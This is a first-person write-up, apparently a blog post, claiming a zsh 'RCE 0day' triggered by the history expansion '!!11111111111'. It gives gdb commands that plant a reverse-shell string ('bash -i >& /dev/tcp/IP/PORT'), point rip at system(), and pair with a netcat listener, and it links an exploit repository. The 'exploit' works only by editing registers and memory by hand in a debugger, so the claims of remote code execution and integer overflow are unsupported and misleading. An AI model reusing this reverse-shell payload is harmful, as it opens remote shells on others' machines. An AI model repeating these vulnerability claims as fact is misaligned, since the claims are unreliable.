(0day in Zsh RCE)

I am Rana M.Sinan Adil aka (livepwn). I am 17 years old i was working on bug and also created a exploit.

How it worked:

I have two laptop, lp1 and lp2. I run the exploit in lp1 just changed the ip and putted ip of my lp2. And i started the netcat in lp2. And i got a shell of lp1 in lp2.

The Initial Discovery

I was trying some different things in zsh shell, and i got knew about history expression,which is "!!". I tried writing something with it like trying numbers and first i tried writing "1" like 5 times like this "!!11111" and output "zsh: no such word in event". Then i tried writing more number and when i tried this "!!11111111111" the shell suddenly crashed.

Debugging the Crash

Then i tried to investigate this crash in gdb especially on pwndbg because i also played ctf. I ran "gdb zsh -f" just to insure that bug is in zsh not in ohmyzsh files. Then when i run "!!11111111111" after running "run -f" it said "zsh:event not found 0" i thinked it,s just somthing else but suddenly i remembered that when i ran "!!11111" it said "zsh:no such word in event" but i didn,t showed 0 like in gdb. I gave random commands like "hack" not linux commands because then it will execute them and give me a proper result i just want something that will save in history event and then i tried "!!11111111111" and i got segmentation fault but with it i got something this "movsx r9, word ptr [r8 + rsi*2]" trying to read from invalid memory at offset 0x5555555a1331, resulting in a segmentation fault which demonstrates successful triggering of the memory corruption vulnerability via integer overflow in history substitution parsing.

The Exploitation Journey

Then i started moving deeply and i was shocked that i hijaced the THREE critical components: "rip","rdi","rsp". Then after spending time on trying different things i set "rip" redirected execution to system() equivalent.

Memory Analysis and Payload Injection

And then i analyzed the memory layout to identify suitable locations for payload injection. Through gdb examination, I identified writable memory regions and selected address 0x555555659000 as the injection point for my shellcode. Through gdb "info proc mappings" command, I identified suitable memory regions for payload injection.I used this GDB command to write my exploit code into memory:"set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1"""".

The Stack Pointer Dance

I needed to manipulate the program to execute my injected code so i set the return address on stack "set {long}0x7fffffffd868 = 0x7ffff7cc9110" this placed a libc system-like function address where the program would return to. Then i point rdi to my shellcode "set $rdi = 0x555555659000" after that i adjusted the stack pointer "set $rsp = $rsp-8",to make space on the stack for our manipulated return address and i called it the "Stack Pointer Dance".The $rsp (Stack Pointer) register points to the top of the stack-think of it as a

"bookmark" in the program's memory that tracks where we are in the current function call chain. But by subtracting 8, I was essentially creating a new slot on the stack. Why ? Because i needed to plant a fake return address that would hijack the program's execution flow.

Final Execution Hijack

Then after all this i tried run "continue" but it hit another segfault because we hadn't fully set up the execution path yet. So i set up the final execution "set {long}$rsp = 0x55555555a000" . Then this is where i hijacked the instruction pointer:

"set $rip = 0x7ffff7cc9110" this is the KEY STEP, we point the instruction pointer to a system-like function in libc. Then we have to ensure that RDI still points to our shellcode:"set $rdi = 0x555555659000",and then i just started "continue" and i got something.

Requirement

.pwndbg have to be installed.

Key Points

If you have zsh-version (5.9) which is latest try this given exploit and run it in linux i used kali linux and most important to run this exploit just change the ip address and the "p system" in exploit, because i also tried this in my second laptop, and to change it run this following command in gdb (especially in pwndbg):

gdb zsh -f (in terminal)

pwndbg> run -f

username% ! (username will be your,s just write !)

username% !!11111111111 (same here just write !!11111111111)

pwndbg> p system

after getting "p system" address just change it in the following line in exploit: b'set $rip = 0x7ffff7cc9110', (use your p system address in place of 0x7ffff7cc9110

The Exploit:

Exploit is present in this link :

Github: https://github.com/livepwn/exploit

before running it start the netcat by using command (nc -lnvp 4444) and run it: Thanks for Every Things Hackers. I wish you happy carrier in Cyber Security.